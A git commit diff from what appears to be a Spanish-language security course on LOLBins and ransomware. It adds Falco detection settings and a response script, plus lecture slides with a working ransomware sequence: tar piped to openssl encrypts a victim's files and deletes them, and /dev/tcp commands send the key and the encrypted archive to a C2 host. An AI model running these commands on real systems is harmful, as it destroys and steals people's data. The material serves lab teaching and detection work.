chores
This commit is contained in:
47
QueComanTierra/detection/falco.yaml
Normal file
47
QueComanTierra/detection/falco.yaml
Normal file
@@ -0,0 +1,47 @@
|
|||||||
|
# falco.yaml: Configuración mínima para QueComanTierra con respuesta activa
|
||||||
|
#
|
||||||
|
# Falco por defecto sólo DETECTA. Con program_output le decimos que pipe
|
||||||
|
# cada alerta que coincida con una regla CRITICAL/WARNING al response script.
|
||||||
|
|
||||||
|
rules_file:
|
||||||
|
- /etc/falco/falco_rules.yaml # reglas upstream de Falco
|
||||||
|
- /opt/qct/detection/falco_rules.yaml # reglas QueComanTierra
|
||||||
|
|
||||||
|
# ── Salidas ────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
json_output: true # el response script consume JSON
|
||||||
|
|
||||||
|
# stdout: útil en desarrollo / journald
|
||||||
|
stdout_output:
|
||||||
|
enabled: true
|
||||||
|
|
||||||
|
# file: persistencia local
|
||||||
|
file_output:
|
||||||
|
enabled: true
|
||||||
|
keep_alive: false
|
||||||
|
filename: /var/log/falco.log
|
||||||
|
|
||||||
|
# program_output: cada alerta se pipe al response handler
|
||||||
|
# El script recibe el JSON completo en stdin.
|
||||||
|
# keep_alive: false → proceso nuevo por alerta (más seguro, más lento).
|
||||||
|
# Para entornos de producción con alto volumen, poner true y manejar
|
||||||
|
# el stream NDJSON dentro del script.
|
||||||
|
program_output:
|
||||||
|
enabled: true
|
||||||
|
keep_alive: false
|
||||||
|
program: "/opt/qct/detection/falco_response.sh"
|
||||||
|
|
||||||
|
# ── Filtros de prioridad ───────────────────────────────────────────────────
|
||||||
|
# Solo dispara program_output para WARNING y superior.
|
||||||
|
# NOTICE/INFO se escriben a log pero no activan respuesta.
|
||||||
|
priority: warning
|
||||||
|
|
||||||
|
# ── Syscall buffer ─────────────────────────────────────────────────────────
|
||||||
|
# Aumentar si se pierden eventos durante el bulk xargs (Regla 3).
|
||||||
|
syscall_buf_size_preset: 4 # 4 MB por CPU
|
||||||
|
|
||||||
|
# ── Métricas (opcional) ────────────────────────────────────────────────────
|
||||||
|
metrics:
|
||||||
|
enabled: true
|
||||||
|
interval: 60s
|
||||||
|
resource_utilization_enabled: true
|
||||||
77
QueComanTierra/detection/falco_response.sh
Normal file
77
QueComanTierra/detection/falco_response.sh
Normal file
@@ -0,0 +1,77 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# falco_response.sh: Active response handler for QueComanTierra Falco rules
|
||||||
|
#
|
||||||
|
# Falco pipes JSON alerts here via program_output.
|
||||||
|
# Per-rule actions:
|
||||||
|
# Bash Native TCP Exfiltration → kill PID + ss --kill socket
|
||||||
|
# Shell Spawning OpenSSL Bulk Enc. → kill PID (kills openssl + parent shell)
|
||||||
|
# Mass Document Deletion by Shell → kill PID
|
||||||
|
# Hidden Encrypted Archive in Tmp → kill PID + remove the .enc file
|
||||||
|
#
|
||||||
|
# IMPORTANT: runs as root (Falco requirement). Validate PIDs before killing.
|
||||||
|
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
LOG="/var/log/falco-response.log"
|
||||||
|
ALERT=$(cat) # full JSON from Falco
|
||||||
|
|
||||||
|
log() { echo "$(date -u +%FT%TZ) [RESPONSE] $*" | tee -a "$LOG" >&2; }
|
||||||
|
|
||||||
|
rule=$(echo "$ALERT" | jq -r '.rule')
|
||||||
|
pid=$(echo "$ALERT" | jq -r '.output_fields["proc.pid"] // empty')
|
||||||
|
dst_ip=$(echo "$ALERT" | jq -r '.output_fields["fd.rip"] // empty')
|
||||||
|
dst_port=$(echo "$ALERT"| jq -r '.output_fields["fd.rport"]// empty')
|
||||||
|
file=$(echo "$ALERT" | jq -r '.output_fields["fd.name"] // empty')
|
||||||
|
user=$(echo "$ALERT" | jq -r '.output_fields["user.name"]// empty')
|
||||||
|
|
||||||
|
log "RULE='$rule' PID='$pid' USER='$user'"
|
||||||
|
|
||||||
|
kill_pid() {
|
||||||
|
local p="$1"
|
||||||
|
# Validate: PID must be numeric and process must still exist
|
||||||
|
[[ "$p" =~ ^[0-9]+$ ]] || { log "PID inválido: $p"; return 1; }
|
||||||
|
[[ -d "/proc/$p" ]] || { log "PID $p ya no existe"; return 0; }
|
||||||
|
log "KILL -9 $p ($(cat /proc/$p/cmdline | tr '\0' ' '))"
|
||||||
|
kill -9 "$p" && log "PID $p terminado" || log "No se pudo matar $p"
|
||||||
|
}
|
||||||
|
|
||||||
|
kill_socket() {
|
||||||
|
local ip="$1" port="$2"
|
||||||
|
[[ -n "$ip" && -n "$port" ]] || return 0
|
||||||
|
log "Cerrando socket TCP → $ip:$port"
|
||||||
|
# ss --kill requiere iproute2 >= 5.3
|
||||||
|
ss --kill state established dst "${ip}:${port}" 2>>"$LOG" \
|
||||||
|
&& log "Socket $ip:$port cerrado" \
|
||||||
|
|| log "ss --kill falló (¿iproute2 < 5.3?)"
|
||||||
|
}
|
||||||
|
|
||||||
|
case "$rule" in
|
||||||
|
"Bash Native TCP Exfiltration")
|
||||||
|
log "ACCIÓN: matar proceso + cerrar socket"
|
||||||
|
kill_pid "$pid"
|
||||||
|
kill_socket "$dst_ip" "$dst_port"
|
||||||
|
;;
|
||||||
|
|
||||||
|
"Shell Spawning OpenSSL Bulk Encryption")
|
||||||
|
log "ACCIÓN: matar proceso openssl"
|
||||||
|
kill_pid "$pid"
|
||||||
|
;;
|
||||||
|
|
||||||
|
"Mass Document Deletion by Shell Process")
|
||||||
|
log "ACCIÓN: matar proceso de borrado masivo"
|
||||||
|
kill_pid "$pid"
|
||||||
|
;;
|
||||||
|
|
||||||
|
"Hidden Encrypted Archive Staged in Tmp")
|
||||||
|
log "ACCIÓN: matar proceso + eliminar vault"
|
||||||
|
kill_pid "$pid"
|
||||||
|
if [[ -n "$file" && "$file" == /tmp/*.enc && "$file" == /tmp/.* ]]; then
|
||||||
|
log "Eliminando vault cifrado: $file"
|
||||||
|
rm -f "$file" && log "Vault eliminado" || log "No se pudo eliminar $file"
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
|
||||||
|
*)
|
||||||
|
log "Regla desconocida, sin acción automática: $rule"
|
||||||
|
;;
|
||||||
|
esac
|
||||||
@@ -56,8 +56,7 @@
|
|||||||
openssl enc desde shell, posible cifrado masivo
|
openssl enc desde shell, posible cifrado masivo
|
||||||
(user=%user.name uid=%user.uid
|
(user=%user.name uid=%user.uid
|
||||||
cmd=%proc.cmdline
|
cmd=%proc.cmdline
|
||||||
parent=%proc.pname ppid=%proc.ppid
|
parent=%proc.pname ppid=%proc.ppid)
|
||||||
container=%container.name)
|
|
||||||
priority: WARNING
|
priority: WARNING
|
||||||
tags: [lolbin, ransomware, T1486, T1059.004]
|
tags: [lolbin, ransomware, T1486, T1059.004]
|
||||||
|
|
||||||
@@ -90,8 +89,7 @@
|
|||||||
bash abrió conexión TCP directa, posible /dev/tcp exfiltración
|
bash abrió conexión TCP directa, posible /dev/tcp exfiltración
|
||||||
(user=%user.name uid=%user.uid
|
(user=%user.name uid=%user.uid
|
||||||
dst=%fd.rip:%fd.rport
|
dst=%fd.rip:%fd.rport
|
||||||
pid=%proc.pid cmd=%proc.cmdline
|
pid=%proc.pid cmd=%proc.cmdline)
|
||||||
container=%container.name)
|
|
||||||
priority: CRITICAL
|
priority: CRITICAL
|
||||||
tags: [lolbin, exfiltration, T1048, T1059.004]
|
tags: [lolbin, exfiltration, T1048, T1059.004]
|
||||||
|
|
||||||
@@ -120,8 +118,7 @@
|
|||||||
documento de usuario eliminado por proceso shell
|
documento de usuario eliminado por proceso shell
|
||||||
(user=%user.name uid=%user.uid
|
(user=%user.name uid=%user.uid
|
||||||
file=%fd.name
|
file=%fd.name
|
||||||
proc=%proc.name cmd=%proc.cmdline
|
proc=%proc.name cmd=%proc.cmdline)
|
||||||
container=%container.name)
|
|
||||||
priority: WARNING
|
priority: WARNING
|
||||||
tags: [ransomware, destruction, T1486]
|
tags: [ransomware, destruction, T1486]
|
||||||
|
|
||||||
@@ -149,7 +146,6 @@
|
|||||||
archivo cifrado oculto creado en /tmp, posible vault de ransomware
|
archivo cifrado oculto creado en /tmp, posible vault de ransomware
|
||||||
(user=%user.name uid=%user.uid
|
(user=%user.name uid=%user.uid
|
||||||
file=%fd.name
|
file=%fd.name
|
||||||
proc=%proc.name cmd=%proc.cmdline
|
proc=%proc.name cmd=%proc.cmdline)
|
||||||
container=%container.name)
|
|
||||||
priority: CRITICAL
|
priority: CRITICAL
|
||||||
tags: [ransomware, staging, T1486, T1074]
|
tags: [ransomware, staging, T1486, T1074]
|
||||||
|
|||||||
@@ -1,340 +0,0 @@
|
|||||||
#!/usr/bin/env python3
|
|
||||||
"""
|
|
||||||
Genera slides.pptx desde slides.md usando la plantilla Diplomados Ciberseguridad.
|
|
||||||
Los backgrounds se copian directamente desde los slides del template.
|
|
||||||
"""
|
|
||||||
from pptx import Presentation
|
|
||||||
from pptx.util import Pt, Emu
|
|
||||||
from pptx.dml.color import RGBColor
|
|
||||||
from lxml import etree
|
|
||||||
import copy, re, zipfile, io, tempfile, os
|
|
||||||
|
|
||||||
TEMPLATE = "../../Red Team.pptx"
|
|
||||||
SOURCE = "slides.md"
|
|
||||||
OUTPUT = "slides.pptx"
|
|
||||||
|
|
||||||
# Layouts en la plantilla (por nombre español)
|
|
||||||
L_TITLE = 0 # Diapositiva de titulo (idx 0=ctrTitle, 1=subTitle)
|
|
||||||
L_CONTENT = 1 # Titulo y objetos (idx 0=title, 1=content)
|
|
||||||
L_SECTION = 2 # Encabezado de seccion (idx 0=title, 1=body)
|
|
||||||
|
|
||||||
# Slides del template que sirven como fuente de backgrounds
|
|
||||||
# slide1=portada, slide3=contenido, slide5=seccion divisor
|
|
||||||
BG_TITLE = 0 # image1.jpg — portada con fondo binario rojo
|
|
||||||
BG_CONTENT = 2 # image3.jpg — slide normal con logos y barra roja
|
|
||||||
BG_SECTION = 4 # image5.jpg — divisor rojo degradado
|
|
||||||
|
|
||||||
PNS = 'http://schemas.openxmlformats.org/presentationml/2006/main'
|
|
||||||
ANS = 'http://schemas.openxmlformats.org/drawingml/2006/main'
|
|
||||||
RNS = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships'
|
|
||||||
IMG_REL = f'{RNS}/image'
|
|
||||||
|
|
||||||
# ─── template limpio ─────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def make_clean_template(src):
|
|
||||||
"""Devuelve BytesIO: template sin slides (master/layouts/media intactos)."""
|
|
||||||
SLIDE_XML = re.compile(r'^ppt/slides/slide\d+\.xml$')
|
|
||||||
SLIDE_RELS = re.compile(r'^ppt/slides/_rels/slide\d+\.xml\.rels$')
|
|
||||||
SLIDE_CT = 'application/vnd.openxmlformats-officedocument.presentationml.slide+xml'
|
|
||||||
SLIDE_REL_TYPE = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide'
|
|
||||||
PKG_NS = 'http://schemas.openxmlformats.org/package/2006/relationships'
|
|
||||||
PML_NS = 'http://schemas.openxmlformats.org/presentationml/2006/main'
|
|
||||||
CT_NS = 'http://schemas.openxmlformats.org/package/2006/content-types'
|
|
||||||
|
|
||||||
buf = io.BytesIO()
|
|
||||||
with zipfile.ZipFile(src, 'r') as zin, \
|
|
||||||
zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zout:
|
|
||||||
for item in zin.infolist():
|
|
||||||
name = item.filename
|
|
||||||
if SLIDE_XML.match(name) or SLIDE_RELS.match(name):
|
|
||||||
continue # eliminar slides y sus rels del ZIP
|
|
||||||
data = zin.read(name)
|
|
||||||
|
|
||||||
if name == 'ppt/presentation.xml':
|
|
||||||
root = etree.fromstring(data)
|
|
||||||
lst = root.find(f'{{{PML_NS}}}sldIdLst')
|
|
||||||
if lst is not None:
|
|
||||||
lst.clear()
|
|
||||||
data = etree.tostring(root, xml_declaration=True,
|
|
||||||
encoding='UTF-8', standalone=True)
|
|
||||||
|
|
||||||
elif name == 'ppt/_rels/presentation.xml.rels':
|
|
||||||
root = etree.fromstring(data)
|
|
||||||
for rel in root.findall(f'{{{PKG_NS}}}Relationship'):
|
|
||||||
if rel.get('Type') == SLIDE_REL_TYPE:
|
|
||||||
root.remove(rel)
|
|
||||||
data = etree.tostring(root, xml_declaration=True,
|
|
||||||
encoding='UTF-8', standalone=True)
|
|
||||||
|
|
||||||
elif name == '[Content_Types].xml':
|
|
||||||
root = etree.fromstring(data)
|
|
||||||
for ov in root.findall(f'{{{CT_NS}}}Override'):
|
|
||||||
if ov.get('ContentType') == SLIDE_CT:
|
|
||||||
root.remove(ov)
|
|
||||||
data = etree.tostring(root, xml_declaration=True,
|
|
||||||
encoding='UTF-8', standalone=True)
|
|
||||||
|
|
||||||
zout.writestr(item, data)
|
|
||||||
|
|
||||||
buf.seek(0)
|
|
||||||
return buf
|
|
||||||
|
|
||||||
# ─── background copy ──────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def copy_background(new_slide, template_slide):
|
|
||||||
"""Copia el <p:bg> del template_slide al new_slide, remapeando el rId de imagen."""
|
|
||||||
cSld_tmpl = template_slide._element.find(f'{{{PNS}}}cSld')
|
|
||||||
bg = cSld_tmpl.find(f'{{{PNS}}}bg') if cSld_tmpl is not None else None
|
|
||||||
if bg is None:
|
|
||||||
return
|
|
||||||
|
|
||||||
blip = bg.find(f'.//{{{ANS}}}blip')
|
|
||||||
if blip is None:
|
|
||||||
return
|
|
||||||
|
|
||||||
old_rId = blip.get(f'{{{RNS}}}embed')
|
|
||||||
if not old_rId:
|
|
||||||
return
|
|
||||||
|
|
||||||
# Obtener la imagen del template y relacionarla con el nuevo slide
|
|
||||||
image_part = template_slide.part.related_part(old_rId)
|
|
||||||
new_rId = new_slide.part.relate_to(image_part, IMG_REL)
|
|
||||||
|
|
||||||
# Clonar <p:bg> y actualizar el rId
|
|
||||||
new_bg = copy.deepcopy(bg)
|
|
||||||
new_blip = new_bg.find(f'.//{{{ANS}}}blip')
|
|
||||||
new_blip.set(f'{{{RNS}}}embed', new_rId)
|
|
||||||
|
|
||||||
# Insertar en cSld del nuevo slide (antes de spTree)
|
|
||||||
new_cSld = new_slide._element.find(f'{{{PNS}}}cSld')
|
|
||||||
existing_bg = new_cSld.find(f'{{{PNS}}}bg')
|
|
||||||
if existing_bg is not None:
|
|
||||||
new_cSld.remove(existing_bg)
|
|
||||||
new_cSld.insert(0, new_bg)
|
|
||||||
|
|
||||||
# ─── helpers de texto ─────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def clean(text):
|
|
||||||
text = re.sub(r'\*\*(.*?)\*\*', r'\1', text)
|
|
||||||
text = re.sub(r'\*(.*?)\*', r'\1', text)
|
|
||||||
text = re.sub(r'`(.*?)`', r'\1', text)
|
|
||||||
text = re.sub(r'^\s*>\s?', '', text, flags=re.MULTILINE)
|
|
||||||
return text.strip()
|
|
||||||
|
|
||||||
def fill_placeholder(ph, lines):
|
|
||||||
tf = ph.text_frame
|
|
||||||
tf.word_wrap = True
|
|
||||||
tf.clear()
|
|
||||||
|
|
||||||
in_code = False
|
|
||||||
first_p = True
|
|
||||||
|
|
||||||
for line in lines:
|
|
||||||
if line.startswith('```'):
|
|
||||||
in_code = not in_code
|
|
||||||
continue
|
|
||||||
if re.match(r'^\s*\|?[-:| ]+\|', line):
|
|
||||||
continue
|
|
||||||
|
|
||||||
stripped = line.rstrip()
|
|
||||||
if not stripped and not in_code:
|
|
||||||
continue
|
|
||||||
|
|
||||||
p = tf.paragraphs[0] if first_p else tf.add_paragraph()
|
|
||||||
first_p = False
|
|
||||||
|
|
||||||
bullet = re.match(r'^(\s*)([-*]|\d+\.) (.+)', stripped)
|
|
||||||
if bullet and not in_code:
|
|
||||||
indent = len(bullet.group(1)) // 2
|
|
||||||
p.level = min(indent + 1, 4)
|
|
||||||
run = p.add_run()
|
|
||||||
run.text = clean(bullet.group(3))
|
|
||||||
elif in_code:
|
|
||||||
# Eliminar bullet del párrafo
|
|
||||||
pPr = p._p.get_or_add_pPr()
|
|
||||||
for child in list(pPr):
|
|
||||||
if child.tag.split('}')[-1].startswith('bu'):
|
|
||||||
pPr.remove(child)
|
|
||||||
pPr.append(etree.SubElement(pPr, f'{{{ANS}}}buNone'))
|
|
||||||
run = p.add_run()
|
|
||||||
run.text = stripped.lstrip()
|
|
||||||
run.font.name = 'Courier New'
|
|
||||||
run.font.size = Pt(13)
|
|
||||||
run.font.color.rgb = RGBColor(0xC0, 0x00, 0x00)
|
|
||||||
else:
|
|
||||||
heading = re.match(r'^#{2,4} (.+)', stripped)
|
|
||||||
if heading:
|
|
||||||
run = p.add_run()
|
|
||||||
run.text = clean(heading.group(1))
|
|
||||||
run.font.bold = True
|
|
||||||
else:
|
|
||||||
run = p.add_run()
|
|
||||||
run.text = clean(stripped)
|
|
||||||
|
|
||||||
# ─── parser ───────────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def parse_slides(path):
|
|
||||||
with open(path) as f:
|
|
||||||
raw = f.read()
|
|
||||||
raw = re.sub(r'^---\n.*?\n---\n', '', raw, flags=re.DOTALL)
|
|
||||||
blocks = re.split(r'\n---\n', raw)
|
|
||||||
return [b.strip() for b in blocks if b.strip()]
|
|
||||||
|
|
||||||
def classify(block):
|
|
||||||
lines = block.split('\n')
|
|
||||||
first = lines[0]
|
|
||||||
|
|
||||||
if re.match(r'^# ', first):
|
|
||||||
title = re.sub(r'^# ', '', first).replace('{.center}', '').strip()
|
|
||||||
body = [l for l in lines[1:] if l.strip() and not l.startswith('{')]
|
|
||||||
return ('section', title, body)
|
|
||||||
|
|
||||||
if re.match(r'^## \{\.center\}', first) or first.strip() == '## {.center}':
|
|
||||||
body = [l for l in lines[1:] if l.strip()]
|
|
||||||
return ('section', '', body)
|
|
||||||
|
|
||||||
if re.match(r'^## ', first):
|
|
||||||
title = re.sub(r'^## ', '', first).strip()
|
|
||||||
return ('content', title, lines[1:])
|
|
||||||
|
|
||||||
return ('content', '', lines)
|
|
||||||
|
|
||||||
# ─── tables ───────────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def parse_md_table(lines):
|
|
||||||
"""Separa lineas en (non_table_lines, table_rows).
|
|
||||||
Ignora pipes dentro de code fences para no confundirlos con tablas."""
|
|
||||||
is_table = lambda l: bool(re.match(r'\s*\|', l.strip()) and '|' in l)
|
|
||||||
is_sep = lambda l: bool(re.match(r'^\s*\|?[-:| ]+\|', l))
|
|
||||||
|
|
||||||
non_table, rows = [], []
|
|
||||||
in_code = False
|
|
||||||
for line in lines:
|
|
||||||
if line.startswith('```'):
|
|
||||||
in_code = not in_code
|
|
||||||
non_table.append(line)
|
|
||||||
continue
|
|
||||||
if in_code:
|
|
||||||
non_table.append(line)
|
|
||||||
continue
|
|
||||||
if is_sep(line):
|
|
||||||
continue
|
|
||||||
if is_table(line):
|
|
||||||
cells = [clean(c.strip()) for c in line.strip().strip('|').split('|')]
|
|
||||||
rows.append(cells)
|
|
||||||
else:
|
|
||||||
non_table.append(line)
|
|
||||||
return non_table, rows
|
|
||||||
|
|
||||||
def add_pptx_table(slide, rows, left, top, width, height):
|
|
||||||
"""Añade una tabla PPTX estilizada en las coordenadas dadas."""
|
|
||||||
if not rows:
|
|
||||||
return
|
|
||||||
n_rows = len(rows)
|
|
||||||
n_cols = max(len(r) for r in rows)
|
|
||||||
|
|
||||||
tbl = slide.shapes.add_table(n_rows, n_cols, left, top, width, height).table
|
|
||||||
|
|
||||||
# Distribuir columnas proporcionalmente (col0 más estrecha = herramienta)
|
|
||||||
if n_cols == 2:
|
|
||||||
tbl.columns[0].width = int(width * 0.25)
|
|
||||||
tbl.columns[1].width = int(width * 0.75)
|
|
||||||
else:
|
|
||||||
for i in range(n_cols):
|
|
||||||
tbl.columns[i].width = width // n_cols
|
|
||||||
|
|
||||||
RED = RGBColor(0x8B, 0x00, 0x00)
|
|
||||||
WHITE = RGBColor(0xFF, 0xFF, 0xFF)
|
|
||||||
BLACK = RGBColor(0x00, 0x00, 0x00)
|
|
||||||
LIGHT = RGBColor(0xF2, 0xF2, 0xF2)
|
|
||||||
|
|
||||||
for ri, row in enumerate(rows):
|
|
||||||
header = (ri == 0)
|
|
||||||
for ci in range(n_cols):
|
|
||||||
cell = tbl.cell(ri, ci)
|
|
||||||
text = row[ci] if ci < len(row) else ''
|
|
||||||
cell.text = text
|
|
||||||
cell.fill.solid()
|
|
||||||
cell.fill.fore_color.rgb = RED if header else (LIGHT if ri % 2 == 0 else WHITE)
|
|
||||||
for para in cell.text_frame.paragraphs:
|
|
||||||
for run in para.runs:
|
|
||||||
run.font.size = Pt(14)
|
|
||||||
run.font.bold = header
|
|
||||||
run.font.color.rgb = WHITE if header else BLACK
|
|
||||||
|
|
||||||
# ─── builder ──────────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def build():
|
|
||||||
# Template original: solo para extraer backgrounds
|
|
||||||
tmpl = Presentation(TEMPLATE)
|
|
||||||
tmpl_slides = list(tmpl.slides)
|
|
||||||
|
|
||||||
# Template limpio: sin slides, para construir desde cero
|
|
||||||
clean_buf = make_clean_template(TEMPLATE)
|
|
||||||
prs = Presentation(clean_buf)
|
|
||||||
|
|
||||||
blocks = parse_slides(SOURCE)
|
|
||||||
|
|
||||||
def add(layout_idx, bg_idx):
|
|
||||||
slide = prs.slides.add_slide(prs.slide_layouts[layout_idx])
|
|
||||||
copy_background(slide, tmpl_slides[bg_idx])
|
|
||||||
return slide
|
|
||||||
|
|
||||||
# Slide 1: portada
|
|
||||||
slide = add(L_TITLE, BG_TITLE)
|
|
||||||
for ph in slide.placeholders:
|
|
||||||
if ph.placeholder_format.idx == 0:
|
|
||||||
ph.text = "Que coman tierra"
|
|
||||||
elif ph.placeholder_format.idx == 1:
|
|
||||||
ph.text = "De LOLBINs a ransomware\nDiplomados Ciberseguridad"
|
|
||||||
|
|
||||||
# Slides desde markdown
|
|
||||||
for block in blocks:
|
|
||||||
kind, title, body_lines = classify(block)
|
|
||||||
|
|
||||||
if kind == 'section':
|
|
||||||
slide = add(L_SECTION, BG_SECTION)
|
|
||||||
for ph in slide.placeholders:
|
|
||||||
if ph.placeholder_format.idx == 0:
|
|
||||||
ph.text = title
|
|
||||||
elif ph.placeholder_format.idx == 1 and body_lines:
|
|
||||||
fill_placeholder(ph, body_lines)
|
|
||||||
for para in ph.text_frame.paragraphs:
|
|
||||||
for run in para.runs:
|
|
||||||
run.font.color.rgb = RGBColor(0x00, 0x00, 0x00)
|
|
||||||
else:
|
|
||||||
slide = add(L_CONTENT, BG_CONTENT)
|
|
||||||
non_tbl, tbl_rows = parse_md_table(body_lines)
|
|
||||||
for ph in slide.placeholders:
|
|
||||||
if ph.placeholder_format.idx == 0:
|
|
||||||
ph.text = title
|
|
||||||
elif ph.placeholder_format.idx == 1:
|
|
||||||
if tbl_rows:
|
|
||||||
# Usar posicion del placeholder para colocar la tabla
|
|
||||||
sp = ph._element
|
|
||||||
xfrm = sp.find(f'.//{{{ANS}}}xfrm')
|
|
||||||
if xfrm is not None:
|
|
||||||
off = xfrm.find(f'{{{ANS}}}off')
|
|
||||||
ext = xfrm.find(f'{{{ANS}}}ext')
|
|
||||||
l = int(off.get('x', 0))
|
|
||||||
t = int(off.get('y', 0))
|
|
||||||
w = int(ext.get('cx', 0))
|
|
||||||
h = int(ext.get('cy', 0))
|
|
||||||
else:
|
|
||||||
l, t, w, h = 838200, 1600200, 10515600, 4500000
|
|
||||||
# Si hay texto además de tabla, reducir altura de tabla
|
|
||||||
if non_tbl:
|
|
||||||
fill_placeholder(ph, non_tbl)
|
|
||||||
t_offset = int(h * 0.45)
|
|
||||||
add_pptx_table(slide, tbl_rows, l, t + t_offset, w, h - t_offset)
|
|
||||||
else:
|
|
||||||
ph.text = '' # vaciar placeholder
|
|
||||||
add_pptx_table(slide, tbl_rows, l, t, w, h)
|
|
||||||
else:
|
|
||||||
fill_placeholder(ph, body_lines)
|
|
||||||
|
|
||||||
prs.save(OUTPUT)
|
|
||||||
print(f"OK: {OUTPUT} — {len(prs.slides)} slides.")
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
|
||||||
build()
|
|
||||||
Binary file not shown.
@@ -122,6 +122,45 @@ find /home/victim -type f -writable -print0 \
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## tar | openssl: un proceso para cifrar todo
|
||||||
|
|
||||||
|
`xargs -P` abre un proceso por archivo. `tar | openssl` abre **uno solo**.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# todos los archivos -> un stream -> un blob cifrado
|
||||||
|
printf '%s\0' "${TARGETS[@]}" \
|
||||||
|
| tar --null -T - -czf - \
|
||||||
|
| openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" \
|
||||||
|
> /tmp/.vault.enc
|
||||||
|
|
||||||
|
# eliminar originales en batch
|
||||||
|
printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
|
||||||
|
```
|
||||||
|
|
||||||
|
desde un detector de procesos: hay **exactamente un `tar` y un `openssl` corriendo**. nada más.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## y encima se lleva el vault
|
||||||
|
|
||||||
|
no solo la clave. `tarbulk` exfiltra una copia cifrada de todos los archivos usando `/dev/tcp`, sin `curl`, sin herramientas externas.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# clave al C2 por tcp/9090
|
||||||
|
printf 'GET /?k=%s&v=%s HTTP/1.0\r\nHost: %s\r\n\r\n' \
|
||||||
|
"$KEY" "$VICTIM_IP" "$C2" > /dev/tcp/"$C2"/9090
|
||||||
|
|
||||||
|
# vault cifrado al C2 por tcp/9091
|
||||||
|
{ printf 'POST /vault/%s HTTP/1.0\r\nContent-Length: %d\r\n\r\n' \
|
||||||
|
"$VICTIM_IP" "$(stat -c%s /tmp/.vault.enc)"
|
||||||
|
cat /tmp/.vault.enc
|
||||||
|
} > /dev/tcp/"$C2"/9091
|
||||||
|
```
|
||||||
|
|
||||||
|
aunque pagues, el atacante ya tiene tus archivos. el rescate no garantiza nada.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## La ventana de detección se cierra
|
## La ventana de detección se cierra
|
||||||
|
|
||||||
Benchmark real, root, servidor, `xargs -P 36`:
|
Benchmark real, root, servidor, `xargs -P 36`:
|
||||||
@@ -295,7 +334,29 @@ Con `tarbulk`: el único momento de intervención real es **antes** de que empie
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Ejercicio 4: Nota de rescate
|
## Ejercicio 4: tarbulk en acción
|
||||||
|
|
||||||
|
restaura el snapshot y ejecuta la variante `tar | openssl`:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
KEY=$(openssl rand -hex 32)
|
||||||
|
mapfile -d '' TARGETS < <(find /home/victim -type f -writable -print0)
|
||||||
|
|
||||||
|
time printf '%s\0' "${TARGETS[@]}" \
|
||||||
|
| tar --null -T - -czf - \
|
||||||
|
| openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" \
|
||||||
|
> /tmp/.vault.enc
|
||||||
|
|
||||||
|
printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
|
||||||
|
```
|
||||||
|
|
||||||
|
en otra terminal durante el ataque: `watch -n0.5 'ps aux | grep -E "tar|openssl"'`
|
||||||
|
|
||||||
|
**¿cuántos procesos viste? ¿en cuántos segundos desapareció `/home/victim`?**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Ejercicio 5: Nota de rescate
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
find / -type d -writable -print0 \
|
find / -type d -writable -print0 \
|
||||||
@@ -308,7 +369,7 @@ wall /home/victim/LEEME_URGENTE.txt
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Ejercicio 5: Persistencia
|
## Ejercicio 6: Persistencia
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
(crontab -l 2>/dev/null; echo \
|
(crontab -l 2>/dev/null; echo \
|
||||||
@@ -324,7 +385,7 @@ Crea un archivo `.txt` nuevo. Espera 5 minutos. ¿Qué pasó?
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Ejercicio 6: Forense post-ataque
|
## Ejercicio 7: Forense post-ataque
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# ¿Qué quedó en auth.log?
|
# ¿Qué quedó en auth.log?
|
||||||
@@ -388,6 +449,84 @@ Lo que hay que buscar:
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## Detección comportamental: Falco
|
||||||
|
|
||||||
|
**Falco** intercepta syscalls en tiempo real vía eBPF y dispara alertas cuando el comportamiento rompe una regla, no cuando hay una firma conocida.
|
||||||
|
|
||||||
|
- Sin agente en userspace frágil
|
||||||
|
- Reglas en YAML, legibles por humanos
|
||||||
|
- Se integra con cualquier SIEM vía Falcosidekick
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Instalar Falco: Debian / Ubuntu
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -fsSL https://falco.org/repo/falcosecurity-packages.asc \
|
||||||
|
| sudo gpg --dearmor \
|
||||||
|
-o /usr/share/keyrings/falco-archive-keyring.gpg
|
||||||
|
|
||||||
|
echo "deb [signed-by=/usr/share/keyrings/falco-archive-keyring.gpg] \
|
||||||
|
https://download.falco.org/packages/deb stable main" \
|
||||||
|
| sudo tee -a /etc/apt/sources.list.d/falcosecurity.list
|
||||||
|
|
||||||
|
sudo apt-get update
|
||||||
|
sudo apt-get install -y apt-transport-https dialog
|
||||||
|
sudo apt-get install -y falco
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Instalar Falco: RHEL / Rocky / Fedora
|
||||||
|
